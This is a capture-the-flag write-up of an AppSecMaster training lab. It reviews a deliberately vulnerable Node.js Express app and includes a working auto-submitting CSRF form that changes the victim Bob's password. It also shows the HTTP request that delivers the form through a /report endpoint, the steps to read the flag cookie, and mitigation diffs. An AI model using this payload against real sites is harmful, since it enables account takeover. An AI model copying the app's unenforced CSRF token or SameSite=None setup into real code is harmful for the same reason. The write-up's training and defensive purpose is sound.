CSRF Vulnerability in Node.js – AppSecMaster Challenge
Table of Contents
What is the AppSecMaster Platform?
AppSecMaster is an interactive web application security training platform that provides hands-on challenges to practice and enhance offensive and defensive security skills. It covers various OWASP Top 10 vulnerabilities through real-world inspired labs, allowing developers, security researchers, and pentesters to explore and exploit vulnerabilities in a controlled environment.
Indicators of CSRF Vulnerability
A web application is likely to be vulnerable to CSRF if it exhibits the following characteristics:
-
Uses Session Cookies for Authentication: If the application relies solely on cookies to manage user sessions (instead of tokens in headers like
Authorization
), it becomes susceptible to CSRF since cookies are automatically included in cross-site requests by default. -
SameSite Attribute Set to None: When session cookies are configured with
SameSite=None
, they will be sent in cross-origin requests. If this setting is used without secure CSRF protection mechanisms, it increases the risk of exploitation. Secure apps usually useSameSite=Strict
orLax
to mitigate this. -
Accepts Dangerous Content Types: If the backend accepts data with a content type of
application/x-www-form-urlencoded
,multipart/form-data
, ortext/plain
, it is particularly vulnerable. These are the only content types a browser can send via forms or JavaScript without triggering a CORS preflight — making them exploitable in CSRF attacks. -
Lack of Anti-CSRF Tokens: A strong and commonly recommended mitigation against CSRF is the use of unique tokens in each form or request. These tokens are generated per user session and must be validated on the server side. If the application lacks such tokens, it becomes trivially exploitable.
Challenge Objectives
In this challenge, we are presented with a vulnerable Node.js application and the following goals:
- Craft a CSRF payload that will change Bob’s account password.
- Deliver the malicious payload to Bob using the
/exploit
endpoint. - Log in with the new password and retrieve the masterkey stored in Bob’s cookies.
Starting the Code Review
According to the challenge description, the application is developed in Node.js, and the source code provides two primary files of interest: app.js
(the main application logic) and package.json
(which declares the project dependencies).
Reviewing packege.json
The package.json
file lists several dependencies commonly used in Express-based web applications:
{
"name": "",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"puppeteer": "^14.1.1",
"body-parser": "^1.20.2",
"express": "^4.18.4",
"express-session": "^1.17.3"
},
"author": "YourName",
"license": "MIT"
}
Relevant notes:
- express: Web framework used to handle routing and HTTP logic.
- body-parser: Used to parse incoming request bodies.
- express-session: Manages session state via cookies — a critical component when evaluating CSRF vulnerability.
- puppeteer: Headless browser automation, likely used internally to simulate Bob reviewing submitted content.
Reviewing app.js
— Core Security Observations
Below is the full source code of the main file, app.js
, responsible for request routing, session management, and business logic.
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const https = require('https');
const app = express();
// --------------------------------------------------Auxiliary Code
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
secret: process.env.SECRET,
resave: false,
saveUninitialized: true,
cookie: {
sameSite: 'None',
secure: true
}
}));
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
next();
});
const crypto = require('crypto');
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
function verifyCSRF(req, res) {
const tokenFromBody = req.body._csrf;
const tokenFromSession = req.session.csrfToken;
return tokenFromBody && tokenFromSession && tokenFromBody === tokenFromSession;
}
function escapeHTML(str) {
return String(str).replace(/[&<>"'`=\/]/g, function (char) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`',
'=': '=',
'/': '/'
}[char];
});
}
// Insecure in-memory users database, only for challenge purposes
const users = {
alice: { username: 'alice', password: 'pass', bio: 'Hi, I am Alice!' },
bob: { username: 'bob', password: process.env.PASSWORD, bio: 'Hello from Bob!' }
};
let sharedComments = [];
function isAuthenticated(req) {
return req.session && req.session.username && users[req.session.username];
}
function renderHTML(filePath, replacements = {}) {
let content = fs.readFileSync(path.join(__dirname, 'public', filePath), 'utf-8');
for (let key in replacements) {
const regex = new RegExp(`{{${key}}}`, 'g');
content = content.replace(regex, replacements[key]);
}
return content;
}
// -------------------------------------------- Routes
app.get('/', (req, res) => {
if (isAuthenticated(req)) return res.redirect('/profile');
res.send(renderHTML('login.html', { error: '' }));
});
// Insecure login flow, only for challenge purposes
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (users[username] && users[username].password === password) {
req.session.username = username;
// Set masterkey cookie
let masterKeyValue = '';
if (username === 'alice') {
masterKeyValue = 'DEMOMASTERKEY';
} else if (username === 'bob') {
try {
masterKeyValue = fs.readFileSync('/tmp/masterkey.txt', 'utf8').trim();
} catch (err) {
console.error('[!] Failed to read /tmp/masterkey.txt:', err);
masterKeyValue = 'ERROR';
}
}
res.cookie('masterkey', masterKeyValue, {
httpOnly: false,
});
return res.redirect('/profile');
}
res.send(renderHTML('login.html', { error: '<p class="error">Invalid credentials</p>', csrfToken: req.session.csrfToken }));
});
app.get('/profile', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
const user = users[req.session.username];
res.send(renderHTML('profile.html', {
username: escapeHTML(user.username),
bio: escapeHTML(user.bio),
csrfToken: req.session.csrfToken}));
});
app.post('/profile', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
const { bio, password } = req.body;
const user = users[req.session.username];
user.bio = bio;
if (password && password.trim()) user.password = password;
res.redirect('/profile');
});
app.get('/shared', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
const commentHTML = sharedComments.map(c =>
`<li><strong>${escapeHTML(c.author)}:</strong> ${escapeHTML(c.text)}</li>`
).join('');
res.send(renderHTML('shared.html', { comments: commentHTML, csrfToken: req.session.csrfToken }));
});
app.post('/shared', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
const comment = {
author: req.session.username,
text: req.body.comment
};
sharedComments.push(comment);
res.redirect('/shared');
});
app.get('/search', (req, res) => {
if (!isAuthenticated(req)) return res.status(401).send('Unauthorized');
const query = req.query.query || '';
if (!query) return res.status(400).send('Query parameter is required');
const results = sharedComments.filter(c =>
c.text.includes(query)
);
let html = `<h2>Search Results for "${escapeHTML(query)}"</h2>`;
if (results.length === 0) {
html += `<p>No matches found.</p>`;
} else {
html += '<ul>';
results.forEach(c => {
html += `<li><strong>${escapeHTML(c.author)}:</strong> ${escapeHTML(c.text)}</li>`;
});
html += '</ul>';
}
html += `<br><a href="/shared">Back to Shared Area</a>`;
res.send(html);
});
app.get('/logout', (req, res) => {
req.session.destroy(() => {
res.redirect('/');
});
});
app.post('/report', async (req, res) => {
const htmlContent = req.body.html;
if (!htmlContent) {
return res.status(400).send('Invalid or missing HTML content');
}
// Respond immediately so the user doesn’t wait
res.send('Bob is checking it out...');
/*
.
.
. BOB CHECKS IT OUT
.
.
*/
});
const sslOptions = generateSSL();
https.createServer(sslOptions, app).listen(443, () => {
console.log('Running on https://localhost:443');
});
Breaking Down the Code
After reviewing the full source, let’s now highlight and analyze the sections that are most relevant to CSRF exploitation.
In-Memory User Database
const users = {
alice: { username: 'alice', password: 'pass', bio: 'Hi, I am Alice!' },
bob: { username: 'bob', password: process.env.PASSWORD, bio: 'Hello from Bob!' }
};
- The application defines two hardcoded users: Alice and Bob.
- Alice’s password is fixed (
pass
), while Bob’s password is dynamically provided viaprocess.env.PASSWORD
. - Since the goal is to access Bob’s session, Bob is the target victim of the CSRF attack.
- This structure allows login by both users and sets the stage for session hijacking through CSRF.
Session-Based Authentication Using Cookies
app.use(session({
secret: process.env.SECRET,
resave: false,
saveUninitialized: true,
cookie: {
sameSite: 'None',
secure: true
}
}));
- The application uses
express-session
, which relies on session cookies for authentication. - The
SameSite
attribute is explicitly set to'None'
, which allows cookies to be sent in cross-origin requests. - This setup is a strong indicator of CSRF vulnerability, especially when no additional validation is in place.
CSRF Token Generation Without Enforcement
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
next();
});
- The application generates a CSRF token and stores it in the session.
- However, none of the sensitive routes enforce CSRF token verification using
verifyCSRF()
. - This incomplete implementation gives a false sense of protection and leaves critical routes exposed.
Insecure Password Update Mechanism
app.post('/profile', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
const { bio, password } = req.body;
const user = users[req.session.username];
user.bio = bio;
if (password && password.trim()) user.password = password;
res.redirect('/profile');
});
- This endpoint allows a logged-in user to update their profile information, including their password.
- It accepts
application/x-www-form-urlencoded
data, which is commonly used in CSRF attacks via HTML forms. - No CSRF token is required or verified, which makes it exploitable through cross-site form submissions.
/report
Endpoint Allows Arbitrary HTML Submission
- This endpoint accepts raw HTML content.
- It is implied (by the challenge description) that this content is rendered by an automated system (e.g., Puppeteer), acting as the user Bob.
- This design enables an attacker to submit a malicious HTML page containing a hidden form that will perform a CSRF attack on Bob’s session.`
Exposing the masterkey Cookie (The Challenge Flag)
let masterKeyValue = '';
if (username === 'alice') {
masterKeyValue = 'DEMOMASTERKEY';
} else if (username === 'bob') {
try {
masterKeyValue = fs.readFileSync('/tmp/masterkey.txt', 'utf8').trim();
} catch (err) {
console.error('[!] Failed to read /tmp/masterkey.txt:', err);
masterKeyValue = 'ERROR';
}
}
res.cookie('masterkey', masterKeyValue, {
httpOnly: false,
});
- Upon successful login, the application sets a
masterkey
cookie. - For Alice, the value is a fixed string (
DEMOMASTERKEY
), but for Bob, the value is dynamically read from/tmp/masterkey.txt
. - This value is the flag of the challenge and will only be exposed if we successfully hijack Bob’s session via CSRF and log in using the new password.
- Additionally, the cookie is not marked as
HttpOnly
, meaning it can be accessed via JavaScript after a successful login.
Accessing the Target Application
Upon launching the challenge, we are provided with the IP address of the target Node.js application. When accessing it via HTTPS, the first screen presented is a login form, indicating that authentication is required to interact with the application.
At this point, we can use the credentials of the test user Alice, which are hardcoded in the source code:
- Username: alice
- Password: pass
These credentials allow us to log in and explore the application from the perspective of a regular authenticated user.
Login Form Interface
This is the authentication interface. It consists of a username and password field, with a submit button to initiate the login.
Authenticated Session – Alice’s View
Once authenticated, we are redirected to the /profile
page. This area allows Alice to view and update her profile information, including her bio and password. The presence of these editable fields, particularly the password field, will be important in our later exploitation steps.
When submitting the profile update form, the following HTTP request is observed:
POST /profile HTTP/1.1
Host: 34.244.23.252
Cookie: connect.sid=s%3AmAi_Sh7m3BYBgyiiwF43bl_d79V0f-AH.LqhGY6ajjqHdsRMtiI45OjvsuuXZFuyY9uaQKzgme1I; masterkey=DEMOMASTERKEY
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
bio=Hi%2C+I+am+Alice%21&password=pass
This request is a standard form submission using application/x-www-form-urlencoded
content type. It includes:
- The session cookie (
connect.sid
) which authenticates the user. - The
masterkey
cookie, specific to Alice’s session. - A payload containing the updated
bio
andpassword
fields.
If the update is successful, the application responds with an HTTP 302 redirect to the profile page:
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /profile
Vary: Accept
Content-Type: text/plain; charset=utf-8
Content-Length: 30
Date: Mon, 23 Jun 2025 21:52:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Found. Redirecting to /profile
This confirms that the submitted changes were accepted and processed by the server.
Exploiting the CSRF Vulnerability
To exploit the CSRF vulnerability in this application, it was necessary to identify the exact structure of the HTML form used in the /profile
route. By inspecting the rendered HTML, the following form was found:
<form method="POST" action="/profile">
<label>Bio:</label>
<input name="bio" value="Hi, I am Alice!"><br>
<label>New Password:</label>
<input type="password" name="password" placeholder="Leave blank to keep current"><br>
<button type="submit">Update</button>
</form>
This form is responsible for submitting user profile updates, including password changes. Importantly, no CSRF token is present in the form, which means that any external origin can replicate and submit the same request — as long as the victim is authenticated.
Based on this structure, the following malicious HTML payload was crafted to silently change the victim’s password:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://localhost/profile">
<input type="hidden" name="bio" value="Hacked by CSRF">
<input type="hidden" name="password" value="newpassword123">
</form>
</body>
</html>
Explanation:
- The form mimics the legitimate structure of the
/profile
form. - The
onload
event is used to automatically submit the form when the page is loaded. - The attacker controls both the
bio
andpassword
fields, effectively allowing the password of the victim (Bob) to be reset.
Once this page is rendered in Bob’s browser, the request will be sent with his session cookies, resulting in a password change — all without his interaction or consent.
Delivering the CSRF Payload via /report
The application includes a special endpoint at /report that accepts raw HTML content:
app.post('/report', async (req, res) => {
const htmlContent = req.body.html;
res.send('Bob is checking it out...');
});
Although this route appears harmless at first, it likely triggers an internal headless browser (such as Puppeteer) that visits and renders the submitted HTML as Bob, while authenticated. This makes /report
an ideal attack vector to deliver a CSRF payload.`
Payload Submission
To exploit this, the attacker sends the malicious HTML form (described earlier) inside a POST request to /report
:`
POST /report HTTP/1.1
Host: 34.244.23.252
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
html=<html><body onload="document.forms[0].submit()"><form method="POST" action='https://localhost/profile'><input type="hidden" name="bio" value="CSRF injected"><input type="hidden" name="password" value="csrfpwned123"></form></body></html>
Server Response
The application immediately returns a generic message:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 29
Bob is checking it out...
Although this response does not confirm execution, the attack is now in motion. If the internal Puppeteer instance loads the page using Bob’s session, the hidden form will be submitted automatically — changing Bob’s password to csrfpwned123.
Verifying the Exploitation
To confirm that the CSRF attack was successful, we attempt to log in as Bob using the new password:
- Username:
bob
- Password:
csrfpwned123
If the password was changed correctly, we are granted access to Bob’s session and redirected to the /profile
page.
Capturing the Flag
Upon successful login, the application sets the masterkey
cookie:
Set-Cookie: masterkey=TH3_REAL_FLAG_VALUE; Path=/; HttpOnly=false
This cookie contains the flag of the challenge. Because the HttpOnly
attribute is not set, the cookie can be accessed from both:
- JavaScript in the browser console:
console.log(document.cookie);
Look for the masterkey
value — this is your flag.
- Browser DevTools (Storage tab): Open the Application panel in DevTools, go to Storage > Cookies, and inspect the masterkey value under the domain. This provides a reliable alternative method to retrieve the flag directly from the session context.
The presence of this cookie, accessible to both scripts and the UI, confirms that the CSRF attack was successful and the challenge is completed.
Mitigation
Implement Synchronizer Token Pattern (Per-Session CSRF Token Validation)
Problem: Although the application generates a CSRF token (req.session.csrfToken
), it never validates it during form submission.
Mitigation: Validate the CSRF token in the POST /profile route.
Apply in Code:
app.post('/profile', (req, res) => {
if (!isAuthenticated(req)) return res.redirect('/');
+
+ if (!verifyCSRF(req, res)) {
+ return res.status(403).send('CSRF validation failed.');
+ }
const { bio, password } = req.body;
const user = users[req.session.username];
user.bio = bio;
if (password && password.trim()) user.password = password;
res.redirect('/profile');
});
Additionally, include the CSRF token in all forms rendered by the server:
res.send(renderHTML('profile.html', {
username: escapeHTML(user.username),
bio: escapeHTML(user.bio),
- csrfToken: req.session.csrfToken
+ csrfToken: req.session.csrfToken
}));
And make sure the form template includes it:
<input type="hidden" name="_csrf" value="{{csrfToken}}">
Set SameSite Attribute to Lax or Strict
Problem: The session cookie is configured with SameSite=None
, which allows it to be sent in cross-origin requests.
Mitigation: Use a stricter SameSite
policy to limit cookie exposure.
Apply in Code:
cookie: {
- sameSite: 'None',
+ sameSite: 'Strict',
secure: true
}
Set HttpOnly Flag on Sensitive Cookies
Problem: The masterkey
cookie is accessible via JavaScript, increasing the impact of session hijacking.
Mitigation: Set the HttpOnly
flag to prevent client-side access.
Apply in Code:
res.cookie('masterkey', masterKeyValue, {
- httpOnly: false,
+ httpOnly: true,
});
Restrict Accepted Content Types (Defensive-in-Depth)
Problem: The application accepts application/x-www-form-urlencoded
, which is exploitable via CSRF forms.
Mitigation: Reject requests with form-encodable content types unless explicitly needed. This is a defense-in-depth measure.
Apply in Code (example middleware):
app.use((req, res, next) => {
const allowed = ['application/json'];
const contentType = req.headers['content-type'] || '';
if (req.method === 'POST' && !allowed.some(type => contentType.includes(type))) {
return res.status(415).send('Unsupported Media Type');
}
next();
});
Note: This would require clients to use application/json
and update frontend forms accordingly.
Conclusion
This challenge demonstrates a classic CSRF vulnerability in a Node.js web application where:
- Session cookies are used for authentication.
- No CSRF tokens are validated on sensitive routes.
- The session cookie allows cross-origin requests due to
SameSite=None
. - A malicious payload can be delivered through a trusted interface (
/report
) and silently executed in the victim’s browser.
By exploiting the lack of proper CSRF protection, we were able to reset Bob’s password and access the masterkey
cookie, ultimately capturing the flag and completing the challenge.
This scenario reinforces the importance of strict input validation, cookie configuration, and CSRF token enforcement in modern web applications — especially when using session-based authentication.
References
-
OWASP – Cross-Site Request Forgery (CSRF)
Detailed explanation of CSRF and recommended mitigation strategies. -
MDN Web Docs – SameSite cookies
Understanding how theSameSite
cookie attribute affects cross-origin requests. -
Express Session Documentation
Official documentation for managing sessions in Express applications. -
PortSwigger – CSRF Vulnerabilities
Interactive labs and write-ups on exploiting and defending against CSRF. -
OWASP – CSRF Prevention Cheat Sheet
A reference guide for implementing CSRF protection mechanisms securely.